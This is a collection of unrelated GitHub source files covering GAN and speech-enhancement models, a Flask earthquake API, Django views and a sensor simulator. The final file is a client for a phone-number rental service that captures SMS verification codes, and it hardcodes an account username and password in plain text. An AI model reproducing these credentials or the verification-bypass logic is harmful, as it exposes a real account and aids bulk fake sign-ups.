bias=False),\r\n nn.BatchNorm2d(self.nf * 8),\r\n nn.ReLU(True),\r\n # state size. (self.nf*8) x 4 x 4\r\n nn.ConvTranspose2d(self.nf * 8, self.nf * 4, 4, 2, 1, bias=False),\r\n nn.BatchNorm2d(self.nf * 4),\r\n nn.ReLU(True),\r\n # state size. (self.nf*4) x 8 x 8\r\n nn.ConvTranspose2d(self.nf * 4, self.nf * 2, 4, 2, 1, bias=False),\r\n nn.BatchNorm2d(self.nf * 2),\r\n nn.ReLU(True),\r\n # state size. (self.nf*2) x 16 x 16\r\n nn.ConvTranspose2d(self.nf * 2, self.nf, 4, 2, 1, bias=False),\r\n nn.BatchNorm2d(self.nf),\r\n nn.ReLU(True),\r\n # state size. (self.nf) x 32 x 32\r\n nn.ConvTranspose2d(self.nf, data.CHANNELS, 4, 2, 1, bias=False),\r\n nn.Tanh()\r\n # state size. (nc) x 64 x 64\r\n )\r\n def parameters_for_optimizer(self):\r\n return self.parameters()\r\n def forward(self, x):\r\n x = x[:, :, None, None]\r\n return self.main(x)\r\n\r\nif __name__ == '__main__':\r\n gen = DCNNGenerator()\r\n print('Trainable parameters:', utils.count_parameters(gen))","repo_name":"laitalaj/nopemon","sub_path":"dcgenerator.py","file_name":"dcgenerator.py","file_ext":"py","file_size_in_byte":1630,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"41773901517","text":"from math import ceil\nimport warnings\n\nimport matplotlib.pyplot as plt\n\nimport torch\nimport pytorch_lightning as pl\nfrom torch_ema import ExponentialMovingAverage\nimport wandb\nimport time\nimport os\nimport numpy as np\nimport torchaudio\n\nfrom sgmse import sampling\nfrom sgmse.sdes import SDERegistry\nfrom sgmse.backbones import BackboneRegistry\nfrom sgmse.util.inference import evaluate_model\nfrom sgmse.util.graphics import visualize_example\nfrom sgmse.util.other import pad_spec, pad_time, si_sdr_torch\nVIS_EPOCHS = 5 \n\ntorch.autograd.set_detect_anomaly(True)\n\nclass ScoreModel(pl.LightningModule):\n def __init__(self,\n backbone: str = \"ncsnpp\", sde: str = \"vesde\", preconditioning = \"song\",\n lr: float = 1e-4, ema_decay: float = 0.999,\n t_eps: float = 3e-2, transform: str = 'none', nolog: bool = False,\n num_eval_files: int = 10, loss_type: str = 'mse', data_module_cls = None, \n condition: str = \"none\", **kwargs\n ):\n \"\"\"\n Create a new ScoreModel.\n\n Args:\n backbone: The underlying backbone DNN that serves as a score-based model.\n Must have an output dimensionality equal to the input dimensionality.\n sde: The SDE to use for the diffusion.\n lr: The learning rate of the optimizer. (1e-4 by default).\n ema_decay: The decay constant of the parameter EMA (0.999 by default).\n t_eps: The minimum time to practically run for to avoid issues very close to zero (1e-5 by default).\n reduce_mean: If `True`, average the loss across data dimensions.\n Otherwise sum the loss across data dimensions.\n \"\"\"\n # print(kwargs)\n super().__init__()\n # Initialize Backbone DNN\n dnn_cls = BackboneRegistry.get_by_name(backbone)\n chan_multiplier = 1 if (\"return_time\" in kwargs.keys() and kwargs[\"return_time\"]) else 2 \n kwargs.update(input_channels=1*chan_multiplier)\n\n self.dnn = dnn_cls(**kwargs)\n # Initialize SDE\n sde_cls = SDERegistry.get_by_name(sde)\n self.sde = sde_cls(**kwargs)\n # Store hyperparams and save them\n self.preconditioning = preconditioning\n self.lr = lr\n self.ema_decay = ema_decay\n self.ema = ExponentialMovingAverage(self.parameters(), decay=self.ema_decay)\n self._error_loading_ema = False\n self.t_eps = t_eps\n self.loss_type = loss_type\n self.num_eval_files = num_eval_files\n\n self.save_hyperparameters(ignore=['nolog'])\n self.data_module = data_module_cls(**kwargs)\n self.condition = condition\n self._reduce_op = lambda *args, **kwargs: 0.5 * torch.sum(*args, **kwargs)\n\n if self.preconditioning == \"karras\":\n self.p_mean = kwargs[\"p_mean\"]\n self.p_std = kwargs[\"p_std\"]\n self.sigma_data = kwargs[\"sigma_data\"]\n\n self.nolog = nolog\n\n @staticmethod\n def add_argparse_args(parser):\n parser.add_argument(\"--lr\", type=float, default=1e-4, help=\"The learning rate\")\n parser.add_argument(\"--ema_decay\", type=float, default=0.999, help=\"The parameter EMA decay constant (0.999 by default)\")\n parser.add_argument(\"--t_eps\", type=float, default=0.03, help=\"The minimum time (3e-2 by default)\")\n parser.add_argument(\"--num_eval_files\", type=int, default=10, help=\"Number of files for speech enhancement performance evaluation during training.\")\n parser.add_argument(\"--loss_type\", type=str, default=\"mse\", choices=(\"mse\", \"mae\", \"gaussian_entropy\", \"kristina\", \"sisdr\", \"time_mse\"), help=\"The type of loss function to use.\")\n parser.add_argument(\"--condition\", default=\"noisy\", choices=[\"noisy\", \"none\"])\n parser.add_argument(\"--preconditioning\", default=\"song\", choices=[\"song\", \"karras\"])\n\n parser.add_argument(\"--sigma_data\", type=float, default=0.1)\n parser.add_argument(\"--p_mean\", type=float, default=-1.2)\n parser.add_argument(\"--p_std\", type=float, default=1.2)\n\n return parser\n\n def configure_optimizers(self):\n optimizer = torch.optim.Adam(self.parameters(), lr=self.lr)\n return optimizer\n\n def optimizer_step(self, *args, **kwargs):\n # Method overridden so that the EMA params are updated after each optimizer step\n super().optimizer_step(*args, **kwargs)\n self.ema.update(self.parameters())\n\n # on_load_checkpoint / on_save_checkpoint needed for EMA storing/loading\n def on_load_checkpoint(self, checkpoint):\n ema = checkpoint.get('ema', None)\n if ema is not None:\n self.ema.load_state_dict(checkpoint['ema'])\n else:\n self._error_loading_ema = True\n warnings.warn(\"EMA state_dict not found in checkpoint!\")\n\n def on_save_checkpoint(self, checkpoint):\n checkpoint['ema'] = self.ema.state_dict()\n\n def train(self, mode, no_ema=False):\n res = super().train(mode) # call the standard `train` method with the given mode\n if not self._error_loading_ema:\n if mode == False and not no_ema:\n # eval\n self.ema.store(self.parameters()) # store current params in EMA\n self.ema.copy_to(self.parameters()) # copy EMA parameters over current params for evaluation\n else:\n # train\n if self.ema.collected_params is not None:\n self.ema.restore(self.parameters()) # restore the EMA weights (if stored)\n return res\n\n def eval(self, no_ema=False):\n return self.train(False, no_ema=no_ema)\n\n def _loss(self, err, sigma, err_time=None, err_mag=None):\n if self.loss_type == 'mse':\n losses = torch.square(err.abs())\n losses = self.preconditioning_loss(losses, sigma)\n loss = torch.mean(0.5*torch.sum(losses.reshape(losses.shape[0], -1), dim=-1))\n\n elif self.loss_type == 'mae':\n losses = err.abs()\n losses = self.preconditioning_loss(losses, sigma)\n loss = torch.mean(0.5*torch.sum(losses.reshape(losses.shape[0], -1), dim=-1))\n\n return loss\n\n def preconditioning_input(self, dnn_input, t):\n if self.preconditioning == \"song\":\n scale = 1.\n if self.preconditioning == \"karras\":\n sigma = self.sde._std(t).squeeze()\n scale = 1/torch.sqrt( self.sigma_data**2 + sigma**2)\n if scale.ndim and scale.ndim < dnn_input.ndim:\n scale = scale.view(scale.size(0), *(1,)*(dnn_input.ndim - scale.ndim))\n return scale * dnn_input\n\n def preconditioning_noise(self, t):\n if self.preconditioning == \"song\":\n if not t.ndim:\n t = t.unsqueeze(0)\n return t\n \n if self.preconditioning == \"song_sigma\":\n sigma = self.sde._std(t).squeeze()\n sigma = sigma.unsqueeze(0)\n return sigma\n \n if self.preconditioning == \"karras\":\n sigma = self.sde._std(t).squeeze()\n if not sigma.ndim:\n sigma = sigma.unsqueeze(0)\n sigma = sigma **.25\n # return .25 * torch.log(sigma + 1e-10)\n return sigma\n\n def preconditioning_output(self, dnn_output, t):\n if self.preconditioning == \"song\":\n sigma = self.sde._std(t).squeeze()\n scale = sigma\n elif self.preconditioning == \"karras\":\n sigma = self.sde._std(t).squeeze()\n scale = sigma * self.sigma_data / torch.sqrt( self.sigma_data**2 + sigma**2)\n if scale.ndim and scale.ndim < dnn_output.ndim:\n scale = scale.view(scale.size(0), *(1,)*(dnn_output.ndim - scale.ndim))\n return scale * dnn_output\n\n def preconditioning_skip(self, x, t):\n if self.preconditioning == \"song\":\n scale = 1.\n if self.preconditioning == \"karras\":\n sigma = self.sde._std(t).squeeze()\n scale = self.sigma_data**2 / (sigma**2 + self.sigma_data**2)\n if scale.ndim and scale.ndim < x.ndim:\n scale = scale.view(scale.size(0), *(1,)*(x.ndim - scale.ndim))\n return scale * x\n\n def preconditioning_loss(self, loss, sigma):\n if self.preconditioning == \"song\":\n weight = 1. / sigma**2\n if self.preconditioning == \"karras\":\n weight = (sigma**2 + self.sigma_data**2) / (sigma + self.sigma_data)**2\n return weight * loss\n\n def sample_time(self, x):\n if self.preconditioning == \"song\":\n t = torch.rand(x.shape[0], device=x.device) * (self.sde.T - self.t_eps) + self.t_eps\n if self.preconditioning == \"karras\":\n log_sigma = self.p_mean + self.p_std * torch.randn(x.shape[0], device=x.device)\n sigma = self.t_eps + torch.exp(log_sigma)\n t = self.sde._inverse_std(sigma)\n return t\n\n def forward(self, x, t, score_conditioning, **kwargs):\n dnn_input = torch.cat([x] + score_conditioning, dim=1) #b,n_input*d,f,t\n dnn_input = self.preconditioning_input(dnn_input, t)\n noise_input = self.preconditioning_noise(t)\n dnn_output = self.dnn(dnn_input, noise_input)\n output = self.preconditioning_output(dnn_output, t)\n skip = self.preconditioning_skip(x, t)\n\n tweedie_denoiser = skip + output\n\n return tweedie_denoiser\n\n def _step(self, batch, batch_idx):\n if len(batch) == 1: #In case we use a dataset with only clean speech\n x, y = batch, None\n elif len(batch) == 2:\n x, y = batch\n t = self.sample_time(x)\n mean, std = self.sde.marginal_prob(x, t, y)\n z = torch.randn_like(x)\n if std.ndim < x.ndim:\n std = std.view(*std.size(), *((1,)*(x.ndim - std.ndim)))\n sigma = std\n perturbed_data = mean + sigma * z\n\n score_conditioning = []\n tweedie_denoiser = self(perturbed_data, t, score_conditioning=score_conditioning, sde_input=y)\n\n err = tweedie_denoiser - x\n loss = self._loss(err, sigma)\n return loss\n\n def training_step(self, batch, batch_idx):\n loss = self._step(batch, batch_idx)\n self.log('train_loss', loss, on_step=True, on_epoch=True, batch_size=self.data_module.batch_size)\n return loss\n\n def validation_step(self, batch, batch_idx, discriminative=False, sr=16000):\n loss = self._step(batch, batch_idx)\n self.log('valid_loss', loss, on_step=False, on_epoch=True, batch_size=self.data_module.batch_size)\n\n # Evaluate speech enhancement performance\n if batch_idx == 0 and self.num_eval_files != 0:\n pesq_est, si_sdr_est, estoi_est, spec, audio = evaluate_model(self, self.num_eval_files, spec=not self.current_epoch%VIS_EPOCHS, audio=not self.current_epoch%VIS_EPOCHS, discriminative=discriminative)\n print(f\"PESQ at epoch {self.current_epoch} : {pesq_est:.2f}\")\n print(f\"SISDR at epoch {self.current_epoch} : {si_sdr_est:.1f}\")\n print(f\"ESTOI at epoch {self.current_epoch} : {estoi_est:.2f}\")\n print('__________________________________________________________________')\n \n self.log('ValidationPESQ', pesq_est, on_step=False, on_epoch=True)\n self.log('ValidationSISDR', si_sdr_est, on_step=False, on_epoch=True)\n self.log('ValidationESTOI', estoi_est, on_step=False, on_epoch=True)\n\n if audio is not None and self.logger is not None:\n y_list, x_hat_list, x_list = audio\n for idx, (y, x_hat, x) in enumerate(zip(y_list, x_hat_list, x_list)):\n if self.current_epoch == 0:\n self.logger.experiment.add_audio(f\"Epoch={self.current_epoch} Mix/{idx}\", (y / torch.max(torch.abs(y))).unsqueeze(-1), sample_rate=sr, global_step=self.current_epoch)\n self.logger.experiment.add_audio(f\"Epoch={self.current_epoch} Clean/{idx}\", (x / torch.max(x)).unsqueeze(-1), sample_rate=sr, global_step=self.current_epoch)\n self.logger.experiment.add_audio(f\"Epoch={self.current_epoch} Estimate/{idx}\", (x_hat / torch.max(torch.abs(x_hat))).unsqueeze(-1), sample_rate=sr, global_step=self.current_epoch)\n\n if spec is not None and self.logger is not None:\n figures = []\n y_stft_list, x_hat_stft_list, x_stft_list = spec\n for idx, (y_stft, x_hat_stft, x_stft) in enumerate(zip(y_stft_list, x_hat_stft_list, x_stft_list)):\n figures.append(\n visualize_example(\n torch.abs(y_stft), \n torch.abs(x_hat_stft), \n torch.abs(x_stft), return_fig=True))\n self.logger.experiment.add_figure(f\"Epoch={self.current_epoch}/Spec\", figures)\n\n return loss\n\n def to(self, *args, **kwargs):\n self.ema.to(*args, **kwargs)\n return super().to(*args, **kwargs)\n\n def get_song_sampler(self, \n probability_flow,\n predictor_name, scheduler_name, sde_input, N, \n conditioning, \n posterior_name, operator, measurement, A, zeta, zeta_schedule,\n corrector_name, r, corrector_steps,\n **kwargs):\n\n N = self.sde.N if N is None else N\n sde = self.sde.copy()\n sde.N = N\n if self.data_module.return_time:\n linearization = lambda x: x\n else:\n linearization = lambda x: self._istft(self._backward_transform(x))\n score_fn = lambda x, t, score_conditioning: self.sde.score_from_tweedie(self(x, t, score_conditioning), x, t, sde_input)\n return sampling.get_song_sampler(\n predictor_name, scheduler_name, sde=sde, score_fn=score_fn, sde_input=sde_input, \n eps=self.t_eps, probability_flow=probability_flow, conditioning=conditioning, \n posterior_name=posterior_name, operator=operator, measurement=measurement, A=A, zeta=zeta, zeta_schedule=zeta_schedule, linearization=linearization, \n corrector_name=corrector_name, r=r, corrector_steps=corrector_steps,\n **kwargs)\n\n def get_karras_sampler(self, \n probability_flow,\n predictor_name, scheduler_name, sde_input, N, \n conditioning, \n posterior_name, operator, measurement, A, zeta, zeta_schedule,\n noise_std, smin, smax, churn,\n **kwargs):\n\n N = self.sde.N if N is None else N\n sde = self.sde.copy()\n sde.N = N\n if self.data_module.return_time:\n linearization = lambda x: x\n else:\n linearization = lambda x: self._istft(self._backward_transform(x))\n score_fn = lambda x, t, score_conditioning: self.sde.score_from_tweedie(self(x, t, score_conditioning), x, t, sde_input)\n return sampling.get_karras_sampler(\n predictor_name, scheduler_name, sde=sde, score_fn=score_fn, sde_input=sde_input, \n eps=self.t_eps, probability_flow=probability_flow, conditioning=conditioning, \n posterior_name=posterior_name, operator=operator, measurement=measurement, A=A, zeta=zeta, zeta_schedule=zeta_schedule, linearization=linearization, \n noise_std=noise_std, smin=smin, smax=smax, churn=churn,\n **kwargs)\n\n def train_dataloader(self):\n return self.data_module.train_dataloader()\n\n def val_dataloader(self):\n return self.data_module.val_dataloader()\n\n def test_dataloader(self):\n return self.data_module.test_dataloader()\n\n def setup(self, stage=None):\n return self.data_module.setup(stage=stage)\n\n def to_audio(self, spec, length=None):\n return self._istft(self._backward_transform(spec), length)\n\n def _forward_transform(self, spec):\n return self.data_module.spec_fwd(spec)\n\n def _backward_transform(self, spec):\n return self.data_module.spec_back(spec)\n\n def _stft(self, sig):\n return self.data_module.stft(sig)\n\n def _istft(self, spec, length=None):\n return self.data_module.istft(spec, length)\n\n def enhance(self, y, \n sampler_type=\"song\", probability_flow=True, N=50, scheduler=\"linear\",\n predictor=\"euler-maruyama\",\n posterior=\"none\", operator=\"reverberation\", A=None, zeta=50., zeta_schedule=\"lin-increase\",\n corrector=\"ald\", r=0.4, corrector_steps=1, \n noise_std=1.007, smin=0.05, smax=.8, churn=.1,\n **kwargs\n ):\n \"\"\"\n One-call speech enhancement of noisy speech `y`, for convenience.\n \"\"\"\n start = time.time()\n T_orig = y.size(1)\n\n norm_factor = y.abs().max()\n y = y / norm_factor\n if self.data_module.return_time:\n Y = torch.unsqueeze(y.cuda(), 0)\n Y = pad_time(Y)\n else:\n Y = torch.unsqueeze(self._forward_transform(self._stft(y.cuda())), 0)\n Y = pad_spec(Y)\n if A is not None:\n A = A.cuda()\n\n if self.condition == \"none\":\n score_conditioning = []\n elif self.condition == \"noisy\":\n score_conditioning = [Y]\n\n if sampler_type == \"song\":\n sampler = self.get_song_sampler(\n probability_flow=probability_flow,\n predictor_name=predictor, scheduler_name=scheduler, sde_input=Y, N=N,\n conditioning=score_conditioning, \n posterior_name=posterior, operator=operator, measurement=Y, A=A, zeta=zeta, zeta_schedule=zeta_schedule,\n corrector_name=corrector, r=r, corrector_steps=corrector_steps,\n **kwargs)\n elif sampler_type == \"karras\":\n sampler = self.get_karras_sampler(\n probability_flow=probability_flow,\n predictor_name=predictor, scheduler_name=scheduler, sde_input=Y, N=N,\n conditioning=score_conditioning, \n posterior_name=posterior, operator=operator, measurement=Y, A=A, zeta=zeta, zeta_schedule=zeta_schedule,\n noise_std=noise_std, smin=smin, smax=smax, churn=churn,\n **kwargs)\n else:\n print(\"{} is not a valid sampler type!\".format(sampler_type))\n sample = sampler()[0]\n\n # if kwargs.get(\"path\", None) is not None:\n # visualize_one(sample.squeeze(), spec_path=kwargs['path'], name=\"_in_domain\")\n\n if self.data_module.return_time:\n x_hat = sample.squeeze()[..., : T_orig]\n else:\n x_hat = self.to_audio(sample.squeeze(), T_orig)\n x_hat = x_hat * norm_factor\n x_hat = x_hat.squeeze().cpu()\n return x_hat\n","repo_name":"sp-uhh/derevdps","sub_path":"sgmse/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":18613,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"44"} +{"seq_id":"31626594569","text":"from flask import Flask, jsonify, request\n\nimport pandas as pd\nimport re\n\nfrom urllib.request import urlopen\nimport json\nfrom bs4 import BeautifulSoup\n\nimport warnings\nwarnings.simplefilter(\"ignore\")\n# ------------------------------------------------------------------------------------------------------------\ndef getDataFromKandilli():\n try:\n result = []\n data = urlopen('http://www.koeri.boun.edu.tr/scripts/sondepremler.asp').read()\n soup = BeautifulSoup(data, 'html.parser', from_encoding='utf8')\n data = soup.find_all('pre')\n data = str(data).strip().split('--------------')[2]\n data = data.split('\\n')\n data = data[1:-2]\n \n indices = range(len(data))\n for i in indices:\n row = str(data[i].strip())\n row = re.sub(r'[\\s]+', ' ', row)\n rowList = row.split(' ')\n json_data = json.dumps({\n \"id\": i+1,\n \"date\": rowList[0],\n \"hour\": rowList[1],\n \"latitude\": float(rowList[2]),\n \"longitude\": float(rowList[3]),\n \"depth\": float(rowList[4]),\n \"size\": float(rowList[6]),\n \"province\": rowList[8],\n \"city\": re.sub(r'[()]','', rowList[9]) if rowList[9] != 'İlksel' else re.sub(r'\\)', '', re.sub(r'.*\\(','', rowList[8])), \n \"attribute\": rowList[-1]\n }, sort_keys=False)\n\n result.append(json.loads(json_data))\n except:\n result = None\n return result\n# ------------------------------------------------------------------------------------------------------------\napp = Flask(__name__)\n# ------------------------------------------------------------------------------------------------------------\n@app.route('/recentEQ', methods=['GET'])\ndef main():\n # Get data sent via JSON or browser as ../suitable?customerIdx=P00002C00001&tableWeight=1&moreThanOne=1\n reqInfo = request.get_json() if (request.is_json) else request.args.to_dict()\n # Get the argument names sent via the request...\n reqKeys = reqInfo.keys()\n # Get parameters from relevant arguments of the request...\n size = float(reqInfo['size']) if 'size' in reqKeys else None\n location = reqInfo['city'] if 'city' in reqKeys else None\n showMsg = bool(reqInfo['showMsg']) if 'showMsg' in reqKeys else False\n # Fetch recent earthquake data from Kandilli Observatory... \n data = getDataFromKandilli()\n # Return an error message in case any problems are encountered...\n if data == None: \n return pd.DataFrame(data=['Oopps...'],columns=['Message'])\n # Convert data to dataframe...\n df = pd.DataFrame(data=data, index=None)\n # Filter by size if requested...\n if size is not None:\n df = df[df['size'] >= size]\n # Filter by location if requested...\n if location is not None:\n df = df[df['city'] == location.upper().strip()]\n # Convert JSON data for sharing...\n dfJSON = json.loads(df.to_json(orient='split'))\n dfKeys = dfJSON['columns']\n dfData = dfJSON['data']\n # Prepare data to be shared...\n resData = []\n for data in dfData:\n jsonData = {}\n for i in range(len(dfKeys)):\n jsonData.update({dfKeys[i]:data[i]})\n\n jsonDataOrdered = json.dumps(jsonData, sort_keys=False)\n resData.append(json.loads(jsonDataOrdered))\n # Share the data according to 'showMsg' parameter...\n if showMsg is True:\n msg = []\n for i in range(len(resData)):\n msg.append(f'{resData[i][\"date\"]} {resData[i][\"hour\"]} tarihinde {resData[i][\"city\"]} ilinde {resData[i][\"size\"]} büyüklüğünde {resData[i][\"attribute\"]} bir deprem meydana geldi.')\n return msg\n else:\n return resData\n# ------------------------------------------------------------------------------------------------------------\nif __name__ == '__main__':\n app.run(debug=True, threaded=True, port=5000)","repo_name":"SuleymanCakici/recent-earthquakes-in-turkey","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3969,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"35569486367","text":"\n# @Title: 二维数组中的查找 (二维数组中的查找 LCOF)\n# @Author: cocofe\n# @Date: 2020-03-06 01:49:45\n# @Runtime: 28 ms\n# @Memory: 15.3 MB\n\nclass Solution(object):\n def findNumberIn2DArray(self, matrix, target):\n \"\"\"\n :type matrix: List[List[int]]\n :type target: int\n :rtype: bool\n \"\"\"\n for row in matrix:\n if not row:\n return False\n if row[0] > target:\n return False\n elif row[0] == target:\n return True\n for col in row:\n if col < target:\n continue\n elif col == target:\n return True\n else:\n break\n return False\n","repo_name":"cocofe/leetcode-solutions","sub_path":"Problemset/er-wei-shu-zu-zhong-de-cha-zhao-lcof/er-wei-shu-zu-zhong-de-cha-zhao-lcof.py","file_name":"er-wei-shu-zu-zhong-de-cha-zhao-lcof.py","file_ext":"py","file_size_in_byte":768,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"71249798852","text":"import pika \nimport json \nimport time \nimport sys\nimport os \nimport random\n\nRABBIT_HOST= 'localhost' \n\n\ndef main(argv):\n\n #Connect\n connection = pika.BlockingConnection(pika.ConnectionParameters(RABBIT_HOST)) \n channel = connection.channel() \n \n \n _id=argv[0]\n\n pid = os.getpid() \n print(\"sensorID:\" + str(_id) + \" PID:\" + str(pid)) \n\n\n #Send Data \n while True:\n time.sleep(random.randint(20,70)) #random() is a value from 0 to 1 => sleep entre 10 a 20 segundos\n people=random.randint(0,25) \n\n data = { \n \"id\": _id, \n \"data\": int(people), \n } \n\n message = json.dumps(data) \n channel.basic_publish(exchange='PYsensors', routing_key=\"people_counter\", body=message) \n\n print(\" [Sensor_id:+ \"+str(_id)+\"] Sent data to RabbitMQ\" + \", value:\" + str(int(people))) \n\n\n connection.close() \n\n\nif __name__ == \"__main__\":\n main(sys.argv[1:])","repo_name":"FabioSparta/RoomsScanner","sub_path":"Sensors_Simulator_new/OcuppancySender.py","file_name":"OcuppancySender.py","file_ext":"py","file_size_in_byte":963,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"10394846904","text":"# Create your views here.\nfrom forms import RSVPCreateEventFormStep1\nfrom forms import RSVPCreateEventFormStep2\nfrom django.shortcuts import render_to_response\nfrom django.template import Context\nfrom django.template import RequestContext\nfrom rsvp.models import ChihuoEvent\n\n\ndef create_event_step1(request):\n\tform = RSVPCreateEventFormStep1()\n\treturn render_to_response('rsvp/create-event.html', \n\t\t\t{\n\t\t\t\t'form' : form ,\n\t\t\t\t'step' : 1,\n\t\t\t},\n\t\t\tcontext_instance=RequestContext(request)\n\t)\n\t\n\t\ndef create_event_step2(request):\n\tif request.method == 'POST':\n\t\tform = RSVPCreateEventFormStep1(request.POST) \t# get submitted form\n\t\tif form.is_valid():\n\t\t\ttitle = form.cleaned_data['title']\n\t\t\tnewform = RSVPCreateEventFormStep2()\t\t# create next form\n\t\treturn render_to_response('rsvp/create-event.html',\n\t\t\t \t{\n\t\t\t\t\t'form' : newform,\n\t\t\t\t\t'step' : 2,\n\t\t\t\t\t'data': title,\n\t\t\t\t},\n\t\t\t\tcontext_instance=RequestContext(request)\n\t\t)\n\n\telse:\n\t\tnewform = RSVPCreateEventFormStep1()\n\t\treturn render_to_response('rsvp/create-event.html', \n\t\t\t\t{\n\t\t\t\t\t'form' : newform ,\n\t\t\t\t\t'step' : 1,\n\t\t\t\t},\n\t\t\t\tcontext_instance=RequestContext(request)\n\t\t)\n\ndef create_event_step3(request):\n\tif request.method == 'POST':\n\t\tform = RSVPCreateEventFormStep2(request.POST) \t# get submitted form\n\t\tif form.is_valid():\n\t\t\ttitle = form.cleaned_data['title']\n\t\t\tnewform = RSVPCreateEventFormStep3()\t\t# create next form\n\t\t\treturn render_to_response('rsvp/create-event.html',\n\t\t\t \t{\n\t\t\t\t\t'form' : newform,\n\t\t\t\t\t'step' : 3,\n\t\t\t\t\t'data': title,\n\t\t\t\t},\n\t\t\t\tcontext_instance=RequestContext(request)\n\t\t\t)\n\n\t\telse:\n\t\t\tnewform = RSVPCreateEventFormStep1()\n\t\t\treturn render_to_response('rsvp/create-event.html', \n\t\t\t\t{\n\t\t\t\t\t'form' : newform ,\n\t\t\t\t\t'step' : 1,\n\t\t\t\t},\n\t\t\t\tcontext_instance=RequestContext(request)\n\t\t\t)\n\ndef create_event_step_final(request):\n\tif request.method == 'POST':\n\t\tform = RSVPCreateEventFormStep3(request.POST)\n\t\tif form.is_valid():\n\t\t\t# get data\n\t\t\t# create new chihuo event\n\t\t\treturn render_to_response('rsvp/create-event-successful.html',\n\t\t\t\t{\n\t\t\t\t\t'data'\t: 'successful',\n\t\t\t\t},\n\t\t\t\tcontext_instance=RequestContext(request)\n\t\t\t)\n\telse:\n\t\tnewform = RSVPCreateEventFormStep1()\n\t\treturn render_to_response('rsvp/create-event.html', \n\t\t\t{\n\t\t\t\t'form' : newform ,\n\t\t\t\t'step' : 1,\n\t\t\t},\n\t\t\tcontext_instance=RequestContext(request)\n\t\t)\t\n\n\n","repo_name":"yeeppe/Chihuo-Django","sub_path":"rsvp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2315,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"44"} +{"seq_id":"4052948635","text":"# -*- coding: utf-8 -*-\n\nimport logging\nimport time\nfrom urllib import request\n\n# 第一步，创建一个logger,并设置级别\nlogger = logging.getLogger(\"my_51ym.py\")\nlogger.setLevel(logging.INFO) # Log等级总开关\n# 第二步，创建一个handler，用于写入日志文件\nfh = logging.FileHandler('./logs/my_51ym.log', mode='w')\nfh.setLevel(logging.INFO) # 输出到file的log等级的开关\nch = logging.StreamHandler()\nch.setLevel(logging.INFO) # 输出到console的log等级的开关\n# 第三步，定义handler的输出格式\nformatter = logging.Formatter(\"%(asctime)s - %(filename)s[line:%(lineno)d] - %(levelname)s: %(message)s\")\nfh.setFormatter(formatter)\nch.setFormatter(formatter)\n# 第四步，将logger添加到handler里面\nlogger.addHandler(fh)\nlogger.addHandler(ch)\n\n\nclass ym:\n header_dict = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'}\n\n ITEMID = '14616' # 项目id\n token = ''\n phone = ''\n sms = ''\n\n def __init__(self):\n global token\n\n # 登陆/获取TOKEN\n username = 'newseeing' # 账号\n password = 'Liuxb0504' # 密码\n url = 'http://api.fxhyd.cn/UserInterface.aspx?action=login&username=' + \\\n username + '&password=' + password\n\n TOKEN1 = request.urlopen(request.Request(\n url=url, headers=self.header_dict)).read().decode(encoding='utf-8')\n\n if TOKEN1.split('|')[0] == 'success':\n token = TOKEN1.split('|')[1]\n logger.warning(\"********** token = \" + token)\n else:\n logger.warning(\n '获取TOKEN错误,错误代码' + TOKEN1 + '。代码释义：1001:参数token不能为空;1002:参数action不能为空;1003:参数action错误;1004:token失效;1005:用户名或密码错误;1006:用户名不能为空;1007:密码不能为空;1008:账户余额不足;1009:账户被禁用;1010:参数错误;1011:账户待审核;1012:登录数达到上限')\n\n # 获取账户信息\n def get_userinfo(self):\n\n url = 'http://api.fxhyd.cn/UserInterface.aspx?action=getaccountinfo&token=' + token + '&format=1'\n ACCOUNT1 = request.urlopen(request.Request(\n url=url, headers=self.header_dict)).read().decode(encoding='utf-8')\n if ACCOUNT1.split('|')[0] == 'success':\n ACCOUNT = ACCOUNT1.split('|')[1]\n logger.warning(ACCOUNT)\n else:\n logger.warning('获取TOKEN错误,错误代码' + ACCOUNT1)\n\n # 获取手机号码\n def get_phoneNumber(self):\n global token\n # global phone\n\n EXCLUDENO = '' # 排除号段170_171\n url = 'http://api.fxhyd.cn/UserInterface.aspx?action=getmobile&token=' + \\\n token + '&itemid=' + self.ITEMID + '&excludeno=' + EXCLUDENO\n MOBILE1 = request.urlopen(request.Request(\n url=url, headers=self.header_dict)).read().decode(encoding='utf-8')\n if MOBILE1.split('|')[0] == 'success':\n self.phone = MOBILE1.split('|')[1]\n logger.warning('获取号码是: ' + self.phone)\n return self.phone\n else:\n logger.warning('获取TOKEN错误,错误代码' + MOBILE1)\n return -1\n\n # 获取短信，注意线程挂起5秒钟，每次取短信最少间隔5秒\n def get_sms(self):\n global token\n # global phone\n\n WAIT = 150 # 接受短信时长60s\n url = 'http://api.fxhyd.cn/UserInterface.aspx?action=getsms&token=' + \\\n token + '&itemid=' + self.ITEMID + '&mobile=' + self.phone + '&release=1'\n\n text1 = request.urlopen(request.Request(\n url=url, headers=self.header_dict)).read().decode(encoding='utf-8')\n logger.warning(\">>>>>>>>>> response.text = \" + text1)\n\n TIME1 = time.time()\n TIME2 = time.time()\n ROUND = 1\n while (TIME2 - TIME1) < WAIT and not text1.split('|')[0] == \"success\":\n time.sleep(5)\n text1 = request.urlopen(request.Request(\n url=url, headers=self.header_dict)).read().decode(encoding='utf-8')\n logger.warning(\">>>>>>>>>> response.text = \" + text1)\n TIME2 = time.time()\n ROUND = ROUND + 1\n\n ROUND = str(ROUND)\n if text1.split('|')[0] == \"success\":\n text = text1.split('|')[1]\n TIME = str(round(TIME2 - TIME1, 1))\n logger.warning('********** ' + text + '\\n耗费时长' + TIME + 's,循环数是' + ROUND)\n\n # 提取短信内容中的数字验证码\n return self.get_sms_code(text)\n else:\n logger.warning('获取短信超时，错误代码是' + text1 + ',循环数是' + ROUND)\n self.block_phoneNumber()\n return -1\n\n # 拉黑\n def block_phoneNumber(self):\n global token\n url = 